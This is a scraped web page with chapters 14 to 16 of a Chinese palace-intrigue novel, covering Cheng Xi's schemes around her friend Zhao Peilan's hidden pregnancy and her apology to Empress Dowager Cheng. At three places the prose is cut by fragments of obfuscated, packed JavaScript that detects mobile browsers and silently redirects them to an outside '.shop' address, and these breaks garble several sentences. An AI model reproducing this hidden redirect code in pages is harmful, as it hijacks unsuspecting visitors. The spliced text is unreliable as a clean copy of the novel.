程曦捂住眼睛,沉默了好一会才吩咐:“给他们个痛快。死后送进程家祖坟,让程辉给他们好好安葬了。” 至少要给这些人身后事有个着落。 至于,程辉…… 他这些年既然敢拿这种事情隐瞒的程太后,恐怕轮到他自己,就用不着“安葬”,只剩“下场”了。 “是。奴婢一定把事情办好。” * “给个痛快”只有四个字。 说起来简简单单。 程曦原本以为这没什么难的,但在这个夜晚,她亲耳听见了。 原色绫纱缠住人的脖子,被用力拉紧。 哪怕捂住耳朵,濒死的哽咽和哀嚎回荡在她耳畔,久久不散。 春草看着程曦面色煞白的样子,心疼道:“奴婢去把刘郎君叫来陪陪乡君吧?” “不用了,我今晚不想看见他。男宠只能是我锦上添花的消遣,他不应该成为我难过时候的依靠。”程曦猛然起身向外走,“去回雪楼。” 有什么糟心事,都在今晚终结吧。 14.第 14 章 程曦带人风风火火走在公主府中,路过的奴仆全部都低垂着头,假装看不见。 谁也不想涉足日耀长公主和荣昌乡君母女之间的矛盾。 “你们在外头等着吧。”程曦将人全部留在回雪楼外,脱去鞋子,独自登上高楼。 回雪楼中,风卷着树叶簌簌飘荡,声音如同落雪。 可程曦无心观赏美景,只计划着要用最少的字数给母亲说清楚处置程玉的利害关系。 “殿下,您既然能够给一个攀着您裙角高升的男人机会,践踏您的尊严,您为何不敢顺从乡君的孝心,享受男宠?” “你住口!” “殿下敢用如此口吻呵斥驸马么?您不敢。” “我敢,你过来!” 清澈平和的声音穿透房门,但如此具有攻击性的话语却用一种分外缠绵的口吻说出。 与之相比,日耀长公主堪称气急败坏。 在踏上二楼地板的一瞬间,程曦隔着屏风,看到了两道身影合二为一。 宽大的披衫从女人肩膀滑落,男人被她踩在地板上,抓着女人的裙角想要起身。 * 流风回雪,寂寂无声。 飘飞的树叶里不知何时夹入银白色的雪粒。 当雪粒扫过睫毛,程曦眨眨眼睛,如同来时一般安静地离开。 ……她今晚应该见不到母亲了,以日耀长公主的性子,是受不住激的,她今晚肯定要把气全都撒在那战俘身上了。 还真是个人才,完全理解了她把人送过去的目的。 走出回雪楼,春草迎上前,将披袄搭在程曦肩头,“乡君,下雪了,回房吧?” 程曦望了一眼被阴云压成紫红色的天,“山雨欲来……” 她必须先把自己做过的事情收尾。 “我尚有一件事需要处理。备车,去城西甜水巷。” “是。” 春草向小丫鬟说了命令,传信的小丫鬟一路急奔,命人去准备车马。 马车碌碌驶来。 细细的雪粒变成毛茸茸的雪花,落了满头。 程曦登车离开,春草心疼地擦拭着她的头发,“乡君为何不肯戴上兜帽。雪化了,湿淋淋的糊在头上,得病可怎么办?” 程曦按住春草忙活的手,轻轻摇头:“我盼着自己能病一场,好装可怜呢。” * 颠簸一路,程曦到达甜水巷。 这条巷子打井,涌出的水分外甘甜,因此得名。 整条巷子原本只有一口水井,因为日耀长公主喜欢此地井水的味道,整条巷子以及后面的大片田地都被程太后划给女儿。 日耀长公主当然不能和下人们共用同一口井。 于是,即便甜水巷又打了第二口井,这口老井依旧被封入别庄内,不许庄户再沾了。 经过十来年的修整,整条巷子的散户已经搬走。现如今住着的都是公主府门下的庄头,等闲没有不相干的人过来闲逛。 甜水巷别庄的下人每日汲水装车专门运到公主府中供贵人们使用,这庄子却很少有贵人驾临。 没有主人的关爱,修建华美的别庄依旧透出一股寂寥。 * 马车直接驶入别庄,进了二门才停步。 骏马脖子上的铜铃叮当作响。 听到声音,正院东厢的窗户立刻被推开,露出了一张花容月貌。 赫然是在长乐宫的望月楼中与皇长子偷情的女人! 美人脸上充满焦急的神色,马车尚未停稳就急急忙忙冲上前:“乡君,你总算来了。” 程曦下车就牵住她的手,带着人回屋,把美人按进座位中:“赵姐姐,快进屋。你找什么借口出来的?赵博士没起疑心吧?” 这女子真正的身份是在宫邸学任职的赵博士之女。 赵博士一直带着其他博士为宫中的四位皇子讲学,他的儿女们对几位皇子也不陌生。 赵培兰比皇长子周靖小了半岁,因为母亲缠绵病榻,她作为长女代替母职,接手了教育下面弟弟妹妹的职责,才没有被人怀疑熬到这么大年岁还不嫁人。 赵培兰素有文采,程曦从小就很欣赏这位真正的才女,一直与她交好。 赵培兰摇头:“没问题的,我每个月都要外出布施,为母亲祈福。我明日按时返家就可以。” 程曦松了一口气:“那就好。” 她盯着赵培兰的肚子,低声批评:“真是个小坏蛋,不该来的时候就来了。” 赵培兰垂眸,勾了勾嘴角,笑容苦涩:“若不是为了这小东西,我也不必冒险给自己争个名分。” 年少的真情早在年复一年的等待中被碾成齑粉。 发觉怀孕,赵培兰试探皇长子周靖,周靖却一味让她等待。赵培兰立刻清楚如果说明情况,等待她的不会是宫中送来的求娶消息,而是周靖给她的一碗落胎药。 ——落胎只有虎狼之药,一碗下去,性命难保。 赵培兰对周靖的感情所剩无几,凭什么为了他把性命都搭进去,然后看着这个不珍惜自己的男人带着好名声往上爬? 赵培兰当即求到程曦面前,求她给自己一个名分。 巧就巧在程曦也不想嫁进宫门。 两人一拍即合,程曦直接按照自己摸透的路线,让赵培兰引着周靖到望月楼偷情。 “偷情”的事情一出,不论未来会给赵培兰带来何种名声,都等于在程太后眼前过了明路,至少皇家不会再有人质疑她腹中孩儿到底是谁的了。 程曦牵着美人的手,看着她的眼神却不减忧愁“……至今没有大皇兄偷情的消息传开,外祖母应该是看出这件事情是由我做局,故意捅到她眼前了。” 与程曦交握的手掌瞬间收紧,赵培兰修剪得圆润的指甲扣住了程曦手背,在白嫩的皮肤留下几个月牙似的指痕。 “都怪我昏了头!”赵培兰后悔不已:,若非我找你帮忙,也不会把你也牵扯进来了。圣心难得,要是为了我害你失去太后的信任,我简直罪该万死。” “你不必替我担心,外祖母才不会因为这点小事就对我发脾气呢。”程曦回握她的手。 程曦看着赵培兰素颜时略显苍白的唇色,不放心地叮嘱:“眼下,你重要的是护好身子,让自己平平安安的。我问过太医了,女子孕期极脆弱,不可劳神。” 赵培兰的目的是给肚子里的孩子找个父亲,现在已经达到了。 赵培兰心里暖洋洋的:“好,我听乡君的。” 程曦招手,赶紧让丫鬟们把礼物都送过来。“对嘛,多笑笑。我给你带了不少养身子的药材呢,明天一早让春草带着你的贴身丫鬟熬药,把如何煎药学会。” 度过令人难受的话题,程曦扶着赵培兰一块进屋,躺到大床上。 程曦故意睡在外侧,挡着床沿,方便赵培兰睡得安心些。 她伏在床面,抱着软枕,歪头问:“我正巧有个书本上的问题想不通,想要向赵姐姐请教……” 赵培兰的注意力果然被快速引走,认认真真地和程曦探讨起学问。 夜深了,飘下的雪花更大了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065547|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * 日耀长公主府的府中,中轴线一前一后有两个大院子。 前头的是日耀长公主自己居住的正院,后侧便是程曦住的地方。 自古常说“千金不换”,以示郑重。 程曦出生时,程太后大喜,直言“哀家的外孙女,万金亦不可比”,当日亲笔写下“万金”二字,刻了匾额挂在院门上头。 从此,不论程曦住在哪里,哪里都被叫做“万金院”。 今晚,公主府中的万金院,女主人不在,院子好像也失去了璀璨光芒。 刘问枢被安置在正院西厢。 名为“西厢”,实则是由两排十六间屋子组成的一个小院,墙根下栽着一颗桂树,树干足有一人合抱粗,花开后满园飘香。 院门距离万金院西侧门也很近,方便进出。 刘问枢是程曦的男宠,照规矩说,他应该享受和富贵人家妾室一样的待遇,有四个下人伺候,可公主府的男仆都集中在前院。 内院除了四明程太后赐给程曦的太监,其他都是女仆。 女仆伺候成人的男宠,自然是不合适的。 加上程曦没有留下吩咐,最终,没掺合今晚闹剧的两个奶嬷嬷一商量,先让人把西厢收拾妥当,让刘问枢住进去,然后就把院子锁了,只留两个尚未留头的小丫鬟住在院门口的下人房里,以备不时之需。 如同刚进公主府那天,刘问枢又被抓着从头到脚刷洗了一遍。 他的长发用发油润过,再熏干;添加了珍品香料的润肤膏脂擦满全身;最后,下人再给他套上飘逸的轻纱长衫,才让人返回他的卧房。 刘问枢坐在床沿上,香喷喷的,像一道等待被人品尝的名菜。 院外落锁的声音传进刘问枢耳朵,他仍旧坐在床沿上一动不动。 万籁俱寂,“咕骨顾”的声音从远处渐渐靠近。 始终垂眸微笑的刘问枢脸上表情终于变了。 他像头猛虎似的迅速蹿到西侧窗边,手掌捂住嘴唇,每发出一串“咕骨顾”的声响就停下三息时间,然后再继续。 两道声音逐渐接近。 当仅仅一窗之隔后,窗子被按照“二、三、二”的停顿敲响。 刘问枢推开窗户,略显稚气的一张脸出现窗外。 刘问枢的手下,冯观。 他们是一起被作为男宠送来公主府的。 “属下来迟。”冯观刚说一句话,就被刘问枢提着衣领抓进房间。 刘问枢吹灭了蜡烛,又等待一会,确定无人监视,放轻声音说:“我这两日陪着荣昌乡君四处走动,无暇关注。你们都好吗?” 冯观苦着脸道:“刘哲兄弟三个因为是亲兄弟,相貌相似性格截然不同,来指点的姑姑觉得稀罕,把他们仨一块送进宫了,这辈子还不知道能不能活着出来。公子,咱们指望不上他们三兄弟了。” “冯先生呢?” 提到养父,冯观被打击得更是抬不起头来:“今晚本来安排我去服侍老妖婆,是我爹主动抢走机会,让我躲过一劫的。这都两个时辰了,他到现在还没回来,不知道会被折磨成什么样子。” “少主,您跟着荣昌乡君好几天了,千万别把受辱放在心上,想不开啊!” “不许你这么说她,她和别人不一样!”刘问枢语气激烈地反对。 冯观怎么听都觉得这语气不对。 他努力在黑暗中观察刘问枢的表情,却什么都看不清楚,只能干巴巴地问:“……公子,您怎么是这种反应?您不会不想回去报仇了吧?” 15.第 15 章 漆黑的室内暗香浮动,营造出一片旖旎温软的氛围。 刘问枢却被属下问得心底一片冰凉。 他,不想回去报仇? 他做梦都想…… 他两天没做梦了。 那些混合了少女体香和汗水的混乱记忆冲上刘问枢脑海,他一阵心虚。 救了他性命的软玉温香,把战败前的信念彻底折断。 刘问枢甩甩头,正色道:“荣昌乡君不是寻常女子,她找我虽有贪欢之行,但这只是她隐藏志向的假象而已,你们不要被蒙蔽了。” “我没在意荣昌乡君有什么目的啊。公子,我问的是您?” “咱们被襄王算计,成了他和夏国对阵的缓冲带,好多兄弟们都死了。”回忆起战场上横尸遍野的画面,冯观不禁红了眼眶。 “有的兄弟们死在阵前,但更多人在大营中被叛徒们害死了。哪些是咱们的人手,恐怕襄王比咱们还清楚,即便返乡,也不知道能收拢多少人手。” 冯观吸着鼻子,承认了自己的软弱:“您要是真不想回去,跟着荣昌乡君进宫的时候,就找个机会对着程太后说明当年那场大战的真像吧。程太后虽然过去是敌手,但她现在可以作为咱们的仰仗了。” “靠别人报仇,哪有自己手刃仇人畅快?襄王应该死在我枪下!我要亲手刺穿他的心脏,我要他对我跪地求饶,却还是最终无法逃脱一死。”浓烈的仇恨让刘问枢脸上的肌肉不自觉抖动。 他咬牙切齿地重复着自己曾经发下的誓言。 仇,他不能不报,但也不能让手下误会程曦。 几息之后,刘问枢快速压下不该展露的情绪,“我冒险在荣昌乡君面前露头,是为了把我自己推到台前,让襄王埋在夏国的钉子害怕。” “只要他们动了,我们就能有所察觉,日后将钉子全部拔除。”刘问枢的眼神冰冷,“既能清除敌人的暗线,还可以给自己手下升官发财。这样一石二鸟的好机会,我可不会放弃。” 刘问枢叮嘱冯观:“你若有不懂的,多问冯先生的意思,不要擅自行动。” 叮嘱完,刘问枢推开窗户,将人原路赶回。 这间屋子里还没留下程曦的味道,他不想先被其他人的气味沾染。 窗外飘着鹅毛大雪,冷风呼呼地灌进房间,迅速带走温暖。 刘问枢的脸很快被冻得通红。 他却伸手从窗台捧起一捧白雪,将雪花贴上自己额头。 雪花融化成了水珠,从他额头滚落,好似一颗颗泪珠,可刘问枢脸上却始终没有任何表情,任由雪水打湿了衣襟。 天色泛起鱼肚白,刘问枢才关上窗户,回到床上躺下。 他清晰的感觉到自己身体在发热。 但没有关系,挨饿受冻时发热的情况,他已经经历过很多次了,只要能睡一觉,再饱餐一顿,马上就能痊愈。 重要的是,他可以让程曦看到自己对她的“在意”——没有她,他活不下去,以后别把他丢得远远的。 程曦不是天真的贵女,她眼睛里燃烧着野心,脑袋里充斥着权术和谋算。 希望她会对他心软。 * 日升,天地白茫茫的一片,堆满房顶的落雪照得天地更加明亮了。 程曦在“簌簌”的扫雪声中睁开眼,窗外隐约有“啾啾啾”的麻雀叫声,可爱得程曦不自觉弯起眼睛。 她腰间横着一条手臂,赵培兰枕在她肩头沉睡。 “赵姐姐这些日子担惊受怕的,肯定累坏了。”程曦低语一声,将她手臂拉回被单中。 肌肤接触,赵培兰的手腕热得好像一团燃烧的烈火! “不好,她发热了。”程曦瞬间清醒。 她立刻提声:“谁在值夜?去请擅长女科的太医过来——不,你们到回春堂,拿我的印信,驾车把许闻歌带过来,让他闭好嘴巴。” “是。”在外间值夜的丫鬟马上去办差事。 门扉开关的声响后,春草带人提着热水进屋。 程曦随便擦洗一番,坐在妆台前让春草伺候自己梳头穿衣服,对另外的丫鬟吩咐:“取些烈酒来,来给赵姐姐擦手心脚心。” 这些手段治标不治本,只能让自己安心罢了。 等大夫的时间里,程曦坐立不安。 她咬着嘴唇吩咐:“春草,你带人去库里查一遍药材。看看别庄都存了些什么,以备不时之需。” “春信是不是也一起跟来了?让她去无上观一趟,送些财物,跟观主说,我和赵姐姐昨天就过去住了,后山雪大,扭伤了脚,提前下山看诊,不多叨扰了。” 一连串的吩咐下达后,程曦心里依旧惴惴不安的。 这年头可不是几千年后,流产很可能直接要了一个女人的性命,危险程度甚至超过生育。 “许大夫来了!”春草高兴地把人带进门。 中医讲究“望闻问切”,其中观察患者面貌,通过精神状态来确定疾病严重程度和预后也是重要的一环。 程曦没搞什么“拉着床帐遮掩面貌”的操作自欺欺人。 许闻歌医家出身,最懂闭嘴的道理。 他明明认得赵培兰,却好像没看出对方是谁一样,进门后先规规矩矩向程曦行礼,之后坐到床边左右双腕都认真品脉。 大约八十息后,许闻歌放开赵培兰的手腕,说明病情:“思虑过重,肝肾血虚,□□不可上达润燥,致使胎动不安。病情不重,但患者有孕,常用药材必须更换不伤身的名贵药材。” “许大夫只管用药,以不伤母体为要。”程曦一脸认真地强调重点。 许闻歌依旧绷着脸,神色谦和:“那就先抓三副,吃得好,拿方子到回春堂再开五副。” “好。”程曦颔首答应,转瞬后,她突然抓住准备离开的许闻歌,“等等,我改主意了。你的药方不能让人看出是安胎药,直接抓十副药备用——可以连着吃十副药吧?” 许闻歌依旧低垂着脸,嘴角却情不自禁上扬些许,声音越发温和:“乡君不必担心,改了药材后,看着是滋阴润燥的药方子。赵小姐多年为家中熬心血,早该调理身体了。” 程曦突然问:“许大夫今日因何外出?” 许闻歌抬起头,看着程曦茫然地眨眨眼睛,轻声重复:“是啊,我今日为什么会出诊呢?” 程曦快速编好借口,“因为赵姐姐陪我去无上观,扭伤了脚踝。我请你来看诊时候,你发现她身体亏虚的厉害。” “正是如此。赵小姐脚踝也有旧伤,最好在家静养些时日。”许闻歌把借口编得更加圆满。 程曦满意地点点头:“许大夫日后大有可为。” 许闻歌微笑着接受了程曦的夸赞,随后把脉枕放在程曦所在的桌旁,点了点桌面:“乡君请。” “我也要?” “乡君,回春堂的许闻歌在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070247|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民间也算小有声望,我不是什么很容易请到的大夫——来都来了,常人怎会不顺便瞧一瞧平安脉呢?”许闻歌说话时终于昂起头,青年神色傲然,全无在太医署中的沉默和木讷。 程曦笑着点头,“许大夫说得有理。” 丫鬟为她卷起衣袖,皓腕如玉,搭在脉枕上,皮下的血管呈淡淡的青色,蛛网似的延伸。 许闻歌手指按上手腕,指尖微微用力,按得白腻的皮肤微微下陷。 指下脉象柔和顺达,并无不妥。 许闻歌收回手指后却说:“乡君,看来太医正为乡君开的补身药,乡君好好用了。乡君的男宠不懂事。” 程曦微微红了脸,但还是就事论事:“他是我的男宠,他只是做了分内事而已。我以后会和他悠着点的。” 许闻歌一瞬间掐住自己手指,但很快恢复笑脸,向程曦附和:“乡君不把责任推给下人,臣自诩行医救人却做不到,是臣狭隘了。” 这就很会夸了,一下升华了高度。 真不愧是能在夏国皇宫里祖孙几代混饭吃的太医。 “臣告辞。”许闻歌被程曦看得垂下视线,无话可说后主动道别。 程曦主动询问:“我不需要继续吃药了?” 许闻歌这才想起来原本借吃药再同程曦闲聊几句,可话已出口,身为医生断无再改口的可能。 他只好另想办法:“日常有节便无需再用。臣再给乡君写几个滋补的茶饮汤方,日常饮用,以备不时之需。” “那就辛苦许大夫了。春草,备足诊金。让人好好送许大夫回去。” 许闻歌只能跟着丫鬟离开。 赵培兰用药后,过了半个时辰,她就退热清醒了。 “药到病除,许闻歌果然不错。”程曦转头吩咐,“今年立春,给许太医家加一份礼物。” 程曦陪着赵培兰又歇息一会,让人给她擦身换了衣裳,才亲自将人送回赵家。 车厢里她牵着赵培兰的手:“你别怕,赵博士平时在学宫忙碌。你弟弟妹妹都还年幼,看不出问题的。” “嗯。乡君也不必强求。尽人事听天命。若太后容不得这桩丑事,只要不牵累家里,不论如何处置我,我都能接受结果了。此生结识乡君,才是我的幸运。” 经过这场急病,赵培兰也彻底看明白谁才是她命中贵人了。 * 人送回赵家。 赵家弟妹没想到荣昌乡君亲临,当场惊得说话都不利索了。 程曦始终维持着一脸歉意:“都怪我非要去看看后来的红梅是不是迎雪绽放,让赵姐姐扭伤了脚。这些是伤药,还请别嫌弃。” 赵家弟妹连呼不敢:“乡君客气了。” 程曦笑眯眯地嗔了一句,终于告辞:“等赵姐姐病好了,我再约她一块出去玩,你们可不准抓着今天的错处,不放人啊。” 铜鎏金的马车走在路上,被一匹快马从后追上:“表妹,等等我!” 车窗被一只养尊处优的手挑起,露出皇长子周靖的脸。 到底是程太后的血脉,他生得也颇有几分程太后的神韵,眉目风流,看谁都仿佛用了一片真心。 ——若非如此,也不会坑了赵培兰许多年。 程曦与他对上视线,不禁笑了。 “我正准备请大皇兄在宫外会面,没想到现在居然碰上了。”程曦拍拍空位,“外头凉,大皇兄要上车坐坐吗?” 16.第 16 章 天寒地冻,北风刮过就像是熊瞎子舔了,能掉一层皮。 车窗里涌出的暖气熏在周靖冻红的脸上,周靖回头看了看赵家的匾额,只犹豫了一瞬间就点头,弃马登车。 大皇子坐进车厢,长叹一声:“还是曦儿会享受。你这辆大车车壁如此厚实,比不少房舍都能遮风挡雪。” 程曦点头:“所以要四匹马才拉得动啊。很浪费马力呢。” 周靖脸上的表情一时变得十分复杂,他舔了舔嘴唇,忍耐片刻,还是憋不住地问:“曦儿,你可知前朝时,天子开国才用四匹马拉车?” 程曦一脸认同地点头:“知道啊,外祖母和舅舅赐我车马的时候就谈起过。哎,前朝建国时真是太不容易了,百废待兴,连皇帝的日子过的这么穷苦。” 周靖坐在她对面,缩着手,相互摩擦。 程曦视线扫过,马上吩咐:“给大兄拿一条厚毯子搭腿上。再拿个汤婆子。” 丫鬟安静地按照程曦吩咐行事。 车板下本就熏着炭火加温,再有皮毛毯子盖住双腿,周靖身上很快热起来。 他视线依旧顺着大车华美的内饰观察,嘴里倒想起来试探心中疑惑:“你刚刚去赵家了?” 程曦用眼神刺了周靖一下,责备道:“大皇兄,都这种时候了,你还遮掩什么?” “你知道了?”周靖脱口而出。 他皱起眉头,瞬间反应过来:“不——皇祖母也道了?!” 程曦眼中责备越发明显,加重语气:“大兄,赵博士是你的授业恩师,他家眷没少在宫中走动。你怎么会觉得外祖母认不出人来?” 她用手指敲了敲车内矮桌的桌面,压低声音:“你们一直见面在皇宫内苑!大兄,你也是在宫里长大的,怎么会不清楚宫里有多少双眼睛盯着?这么些年来,你不会真以为宫中有谁能保住秘密吧?” 程曦每说一句,周靖的心就下沉一分。 周靖抓紧盖在膝头的盖毯:“我宫里果然有奸细!是谁去皇祖母面前告状的?” 程曦飞快与他交换一个眼神,就低下头,没有回答这个问题。 周靖的心越发沉入谷底。 看来除了告状之外,还有人对太后说了些什么。 太后都知道什么了,会对他造成什么影响? 周靖心里翻涌着许多念头,生出的细汗已经将内衫紧紧粘到身上。 周靖对程曦的话毫不怀疑,他太清楚内宫藏在水面下的刀光剑影了。 周靖喉咙紧绷到几乎无法发声,只能祈求地看着程曦:“表妹,你说我现在该如何?” 程曦给周靖塞了一杯暖洋洋的枣茶,带着几分责备地瞪着周靖:“我若是你,就马上去向赵博士认错,求娶找借机。” 手里的茶杯温度适宜,周靖却只觉烫手。 “我不敢。” 程曦没给周靖再说话的机会,直接把他推下车,高声呵斥:“你滚开!这都不做,你不配再对我发问!” “表妹,表妹!”周靖被推下车,身上刚升起的一点暖和气又散了。 冷风“忽”地一下子钻进衣领,顷刻带走身上刚刚生出的暖意。 瞅车夫挥鞭的空响远远传来,顷刻间,大车已消失在周靖视野。 “阿嚏!” 一个喷嚏唤醒周靖,可为时已晚了。 他只能无助地朝着大车消失的方向慌张大喊,“——表妹,等等,我的马!别把我的马也带走啊!” * 宽敞的马车朝着宫门走去。 程曦脸上不再有多余的情绪。 如果她这时候照镜子,会想起从长乐宫探病后的程太后。 祖孙二人的表情如出一辙。 春草叠好皮毯子,不解地问:“乡君,您已经想好了,要进宫对太后认错,又何必演刚刚这一出?” 程曦用手帕裹住把玩的玉佩,揣进怀中。 听到问题,她嗤笑道:“我认错,是因为我欺瞒、利用了真正爱护我的人。可我又不欠周靖的,凭什么我吃亏,他得好处?再说,他不来参与,这出戏还怎么唱下去。” 程曦把周靖用过的被子丢到一旁,“给他找点事情做,让他把精神头花在和另外两位皇兄逞凶斗狠,才没工夫给外祖母找麻烦。” “而且,我给外祖母道歉总不能光动嘴皮子,我总得用实际行动拿出来点诚意吧。”程曦笑眯眯地往春草肩膀上一靠,“我看懂外祖母想做什么了,做完这件事情,外祖母肯定不会怪我了。” 程曦向着赵府的方向远远望去,叹息一声:“唯独可惜了赵姐姐。” 这事情周靖从一开始就错了。 他如果没有觊觎过程曦能带来的好处,一心求娶赵培兰,早在几年前就能够享受赵博士带来的门生关系网。 他甚至可以吞噬掉赵培兰“上孝父母,下悌姊妹”的好名声,让朝臣认为他也有相同高尚的品德。 成顺帝也有可能因此受不住文臣的絮叨,直接册立皇长子为太子了。 可惜,周靖太贪婪了,他只想走最稳妥的道路,通过程曦来攫取程太后的支持。 所以,他才会走到今天这一步。 这道理程曦身边的人都明白,春草不禁笑道:“也不能全怪大皇子昏了头。二皇子先喊出来等乡君及笄,大皇子哪里还敢有其它念头呢。” 周靖除了年长,没有额外优势。 在周全说出那句话之后,周靖不论愿意不愿意,都只能加入这场竞争了。 程曦可以想嫁给谁就嫁给谁,天下的男子自然是任她挑选的。 可是,以程太后对程曦的喜爱,只要程曦嫁进宫门,不论她选择哪一位皇子做丈夫,她的丈夫都必然会成为夏国的太子和未来国君。 在这方面,成顺帝都支持程曦挑选个皇子的——毕竟,万一程曦看上他弟弟的儿子们,成顺帝真没把握程太后会不会搞一出“兄终弟及”,把皇位直接给了他弟弟那一支,以保证程曦未来仍旧可以当皇后。 想到几年前被周全阴了,程曦就不高兴。 她皱皱鼻子:“要我说,周靖和周泉都是傻子。” 春草惊讶:“难不成乡君看好的是……” 她伸出三根手指。 程曦摇头:“周献亲近自己的母族,跟周靖、周泉有什么区别?周献还不如他们俩脑子清楚呢。” “乡君这么说,奴婢更听不懂了。”春草摇晃程曦手臂,“乡君就给奴婢解释解释吧。” “程家男人不算长寿,五、六十就没了,但程家的女人,若非遭难,哪个没有七、八十的寿命?外祖母的亲娘安平国夫人,可是活到了足足九十二岁才在梦中离世。” 程曦直白道:“祖母今年刚六十多,年轻着呢。她身体这么硬朗,再活二十年绝对没问题。” “周献就因为陈夫人是我娘挑来献给舅舅的歌女,总担心陈夫人没有娘家人支持,有机会就拉拢他那群表亲。哼,他想把程家把持的军队撕出一道口子交给陈家,也要想想那群大小护军、尉官、士官,乃至普通战士愿不愿意跟着陈家冒险。” “军人在外用命,岂是区区权术就能调动心志的?再多利益也高不过‘活着’!” “周献但凡让陈家人向禁军里安插人,只要清贵的身份,我都不会如此看不起他。” “可他呢?明知外祖母大权独揽,不但不敬着程家,甚至连表面的和睦都不愿意维持,只想着扶持自己的母族。” “别说外祖母会偏心自家人,就算是朝臣,难道看过外祖母的所作所为之后,会容许夏国有一个程太后之后,再养出一个‘陈皇帝’吗?” 程曦摇摇头,“最没有可能坐上龙椅的,就是周献。” 关键从不在于陈家想不想动程家的蛋糕,而在于陈家能不能切得动蛋糕。 周献与他背后的陈家,简直是不自量力。 分析过前朝局势,程曦把话题拐回赵培兰的婚事。 “我今日给周靖找事,还有一个目的——不论外祖母以后如何安排周靖的婚事,赵姐姐都必须有他曾经亲自求取的经历,只有这样,她日后在内宅才不会受欺负。” 赵培兰不是会宅斗的人,那她的名声就不能受到任何损伤。 ……以后,赵培兰进门,她会有“不受程太后喜欢,而不得不为侧室”的名声。 名正才能言顺,不论谁当了周靖的正室夫人,都会对赵培兰保持尊敬。 程曦只能帮赵培兰到这一步了。 祈祷过后,程曦搓搓脸:“其实,事情发生之前,我就该说实话了。” “那乡君怎么没有——哦,奴婢知道了,您担心太后不同意?”春草笑问。 程曦摇头:“外祖母不需要靠我来巩固她的权力,她不会拒绝的。是我,我需要办成一件事情来证明自己有办事的能力,而不是只配做个闺阁千金。” 说到底,“犯错”也可以是一种展示能力的渠道。 不做不错,也不存在。 * 事情越拖越糟糕。 程曦被晾在勤政殿书房外头了。 程曦裹着狐裘、抱着汤婆子,吹足半个时辰的风冷,才被放进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076819|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勤政殿的暖意盎然,放在室内的花都开得精神抖擞。 程曦进门,便有宫女上前,要服侍她脱去风帽和披风。 “先让她穿着。” 程太后发话,宫女迅速后退。 程曦带着点忐忑走上前,坐到程太后身边,轻轻扯着程太后的袖子:“外祖母,我错了。” “哼。”程太后自顾自用沾着朱砂墨批阅奏折,不肯接茬。 程曦干脆伸手抱住程太后的手臂:“外祖母,我都在外面冻了半个时辰了。风可凉了,刀子似的,我脸都被割疼了。你就原谅我这一回吧。” 程太后顿时放开御笔,拧着眉头把程曦从上到下、从外到内都摸了一遍。 确定披风和风帽足够厚实,她才松了口气。 程曦立刻打蛇上棍,抓着程太后的手按在自己脸上:“外祖母,你摸,真的很冻脸呢。我以后有什么心思再也不瞒着你了,有想法和你商量了再行动。” 程太后挂不住冷脸了。 她又低哼一声,故意为难:“看来你还有不少小心思啊。” 寻常人要跟程太后插科打诨,撒娇卖乖,这时候肯定要赌咒发誓,表示自己这辈子都不会再有多余的小心思了。 程曦才不管这些默认的规矩。 她放开程太后,坦然说:“那当然了。我这一次要给自己争不嫁皇子的机会,以后要是为了我自己的利益,我肯定还会有所隐瞒的。” “你这孩子!怎么连说几句好听的哄哄我都不愿意。”程太后被程曦这副理所当然的模样闹得好气又好笑,心里的火反而散了。 “这一回,我错在对您有所隐瞒,又不是为了其它的。”程曦不以为耻反以为荣,“外祖母能有今日,就因为您事事以自己为先,自己站得高了,才能拉拔家人一把。我也要把自己的想法排第一位。” 参茶的甜中透着淡淡苦涩的香味在勤政殿飘荡。 程曦一抬头,看到成业端来参茶走来。 她笑着接过托盘,执壶给程太后补了一杯茶水,推到程太后面前:“若您当年甘愿做别人的提线木偶,现如今就没有‘程太后’,也没有‘外戚程家’,更没有我这个荣昌乡君。” “外祖母,您说,是不是这个理?” 程太后点点程曦额头:“净说歪理。” “歪理也是理。我说对了。”程曦坐回来。 程太后给成业使了个眼神,成业赶紧拿金杯过来,给程曦也斟满一杯参茶。 “对,你说的都对,快喝几口,暖暖身子。身上都冻凉了,怎么不知道珍惜自己,冷了就进屋。”程太后没好气地瞪了程曦一眼。 她小声嘀咕:“幸亏成业是个仔细的,要不是他发现了,还不知道你要在外头逞强多久!” “才不是逞强呢,我是真心实意明白自己做错了,诚心和外祖母道歉,才愿意在外面站着吹风的。”程曦说完,小心翼翼地瞥了程太后一眼,声音低下去,“以前小事撒娇蒙混过去就算了,可这事情,我真正伤了外祖母的心,我怎么能不认真反省……” “那也不必用摧毁自己健康的法子!苦肉计做给谁看,别以为我吃这一套。”话说开,程太后被卸了一回的火气重新引燃。 嘴上说不撒娇,其实撒娇好用得很,程曦又用了。 